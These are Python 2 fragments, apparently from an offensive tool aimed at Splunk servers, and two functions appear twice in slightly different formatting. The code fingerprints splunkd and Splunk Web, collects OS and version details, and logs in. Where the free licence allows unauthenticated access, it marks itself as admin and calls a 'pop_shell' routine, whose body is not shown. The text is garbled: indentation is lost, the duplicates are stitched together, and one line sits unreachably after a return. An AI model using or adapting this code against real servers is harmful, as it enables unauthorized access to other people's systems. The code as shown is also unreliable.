def splunkweb_auth(self):
if self.web_authed == 1:
return True
login_page = Requestobj("{0}/en-GB/account/login".format(self.splunkweb_url)).makerequest() # Get session cookie
cval=""
cval = login_page.extract_data_body('name="cval" value="(\d+?)"')
if cval:
cval = cval[0]
r = Requestobj(login_page.url)
poststr = "cval={0}&return_to=%2Fen-GB%2F&username={1}&password={2}".format(cval,self.username.rstrip(),self.password.rstrip())
r.rawpostdata("POST", poststr)
result = r.makerequest()
if result.find_data("This resource can be found at"):
return True
self.web_authed = 1
else:
print "[i] Login Failed"
exit()
def splunkweb_auth(self):
if self.web_authed == 1:
return True
login_page = Requestobj("{0}/en-GB/account/login".format(self.splunkweb_url)).makerequest() # Get session cookie
cval=""
cval = login_page.extract_data_body('name="cval" value="(\d+?)"')
if cval:
cval = cval[0]
r = Requestobj(login_page.url)
poststr = "cval={0}&return_to=%2Fen-GB%2F&username={1}&password={2}".format(cval,self.username.rstrip(),self.password.rstrip())
r.rawpostdata("POST", poststr)
result = r.makerequest()
if result.find_data("This resource can be found at"):
return True
self.web_authed = 1
else:
print "[i] Login Failed"
exit()
def __init__(self, hostaddr, splunkd_port=8089, splunkweb_port=8000):
self.splunkd_port = splunkd_port
self.splunkweb_port = splunkweb_port
self.max_threads = 20
self.username = ""
self.password = ""
self.session_key = ""
self.splunk_home = ""
self.got_admin = 0
self.web_authed = 0 # are we authed to the web interface
self.freelic = 0
# Check splunkd server
info = Requestobj(
"https://{0}:{1}/services/server/info/server-info".format(
hostaddr, splunkd_port)).makerequest()
if info.body:
self.splunkd_url = "{0}://{1}".format(
urlparse.urlparse(info.url).scheme,
urlparse.urlparse(info.url).netloc)
else:
info = Requestobj(
"http://{0}:{1}/services/server/info/server-info".format(
hostaddr, splunkd_port)).makerequest()
self.splunkd_url = "{0}://{1}".format(
urlparse.urlparse(info.url).scheme,
urlparse.urlparse(info.url).netloc)
if "server-info" in info.body:
self.splunkd = 1
try:
self.os_build = re.findall("os_build\">(.+?)<", info.body)[0]
self.os_name = re.findall("os_name\">(.+?)<", info.body)[0]
self.os_version = re.findall("os_version\">(.+?)<",
info.body)[0]
self.server_name = re.findall("serverName\">(.+?)<",
info.body)[0]
self.splunk_version = re.findall("\"version\">(.+?)<",
info.body)[0]
self.cpu_arch = re.findall("cpu_arch\">(.+?)<", info.body)[0]
print "[i] Splunkd server found. Version:{0}".format(
self.splunk_version)
print "[i] OS:{0} {1} {2}".format(self.os_name,
self.os_version,
self.os_build)
except Exception as err:
print "Error getting splunk server info", err
else:
self.splunkd = 0
# Check splunk web
splunkweb_info = Requestobj(
"http://{0}:{1}/en-GB/account/login".format(
hostaddr, splunkweb_port)).makerequest()
if splunkweb_info.body:
self.splunkweb_url = "{0}://{1}".format(
urlparse.urlparse(splunkweb_info.url).scheme,
urlparse.urlparse(splunkweb_info.url).netloc)
else:
splunkweb_info = Requestobj(
"https://{0}:{1}/en-GB/account/login".format(
hostaddr, splunkweb_port)).makerequest()
self.splunkweb_url = "{0}://{1}".format(
urlparse.urlparse(splunkweb_info.url).scheme,
urlparse.urlparse(splunkweb_info.url).netloc)
if "Splunk" in splunkweb_info.body:
print "[i] Splunk web interface discovered"
self.splunkweb = 1
self.cval = ""
try:
self.cval = splunkweb_info.extract_data_body(
'name="cval" value="(\d+?)"')[0]
print "[i] CVAL:{0}".format(self.cval)
except:
print "[i] Error getting cval"
self.splunkweb = 0
else:
self.splunkweb = 0
if self.splunkweb == 1:
try:
url = "{0}/en-GB/manager/system/licensing".format(
self.splunkweb_url)
lic = Requestobj(url).makerequest()
if "<h1>Free license group</h1>" in lic.body:
print "[i] Configured with free licence. No auth required"
#if not self.splunkd:
# print "[i] Cannot connect to splunkd using free licence"
# sys.exit()
self.got_admin = 1
self.username = "******"
self.password = "******"
self.web_authed = 1
self.splunkd = 0
self.freelic = 1
self.pop_shell()
except Exception as err:
print "error", err
exit()
def __init__(self,hostaddr,splunkd_port=8089,splunkweb_port=8000):
self.splunkd_port = splunkd_port
self.splunkweb_port = splunkweb_port
self.max_threads = 20
self.username=""
self.password = ""
self.session_key =""
self.splunk_home = ""
self.got_admin = 0
self.web_authed = 0 # are we authed to the web interface
self.freelic =0
# Check splunkd server
info = Requestobj("https://{0}:{1}/services/server/info/server-info".format(hostaddr,splunkd_port)).makerequest()
if info.body:
self.splunkd_url = "{0}://{1}".format(urlparse.urlparse(info.url).scheme,urlparse.urlparse(info.url).netloc)
else:
info = Requestobj("http://{0}:{1}/services/server/info/server-info".format(hostaddr,splunkd_port)).makerequest()
self.splunkd_url = "{0}://{1}".format(urlparse.urlparse(info.url).scheme,urlparse.urlparse(info.url).netloc)
if "server-info" in info.body:
self.splunkd =1
try:
self.os_build = re.findall("os_build\">(.+?)<",info.body)[0]
self.os_name = re.findall("os_name\">(.+?)<",info.body)[0]
self.os_version = re.findall("os_version\">(.+?)<",info.body)[0]
self.server_name = re.findall("serverName\">(.+?)<",info.body)[0]
self.splunk_version = re.findall("\"version\">(.+?)<",info.body)[0]
self.cpu_arch = re.findall("cpu_arch\">(.+?)<",info.body)[0]
print "[i] Splunkd server found. Version:{0}".format(self.splunk_version)
print "[i] OS:{0} {1} {2}".format(self.os_name,self.os_version,self.os_build)
except Exception as err:
print "Error getting splunk server info",err
else:
self.splunkd =0
# Check splunk web
splunkweb_info = Requestobj("http://{0}:{1}/en-GB/account/login".format(hostaddr,splunkweb_port)).makerequest()
if splunkweb_info.body:
self.splunkweb_url = "{0}://{1}".format(urlparse.urlparse(splunkweb_info.url).scheme,urlparse.urlparse(splunkweb_info.url).netloc)
else:
splunkweb_info = Requestobj("https://{0}:{1}/en-GB/account/login".format(hostaddr,splunkweb_port)).makerequest()
self.splunkweb_url = "{0}://{1}".format(urlparse.urlparse(splunkweb_info.url).scheme,urlparse.urlparse(splunkweb_info.url).netloc)
if "Splunk" in splunkweb_info.body:
print "[i] Splunk web interface discovered"
self.splunkweb =1
self.cval=""
try:
self.cval = splunkweb_info.extract_data_body('name="cval" value="(\d+?)"')[0]
print "[i] CVAL:{0}".format(self.cval)
except:
print "[i] Error getting cval"
self.splunkweb =0
else:
self.splunkweb =0
if self.splunkweb ==1:
try:
url ="{0}/en-GB/manager/system/licensing".format(self.splunkweb_url)
lic = Requestobj(url).makerequest()
if "<h1>Free license group</h1>" in lic.body:
print "[i] Configured with free licence. No auth required"
#if not self.splunkd:
# print "[i] Cannot connect to splunkd using free licence"
# sys.exit()
self.got_admin=1
self.username="******"
self.password="******"
self.web_authed=1
self.splunkd=0
self.freelic=1
self.pop_shell()
except Exception as err:
print "error",err
exit()
